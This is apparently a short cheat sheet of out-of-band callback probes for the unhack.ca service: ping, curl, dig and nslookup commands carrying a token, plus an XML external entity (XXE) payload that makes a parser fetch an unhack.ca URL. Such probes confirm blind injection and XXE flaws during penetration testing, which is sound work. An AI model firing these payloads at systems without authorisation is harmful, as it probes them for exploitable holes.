$ ping -c1 -p 00c5009cd9ffe0f8486c40fc381ca900 unhack.ca
 

$ curl http://unhack.ca/p/c5009cd9ffe0f8486c40fc381ca9
 

$ dig c5009cd9ffe0f8486c40fc381ca9 @unhack.ca
 

$ dig c5009cd9ffe0f8486c40fc381ca9.ns.unhack.ca
 

C:\> nslookup c5009cd9ffe0f8486c40fc381ca9 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c5009cd9ffe0f8486c40fc381ca9">]>
    <foo>&xxe;</foo>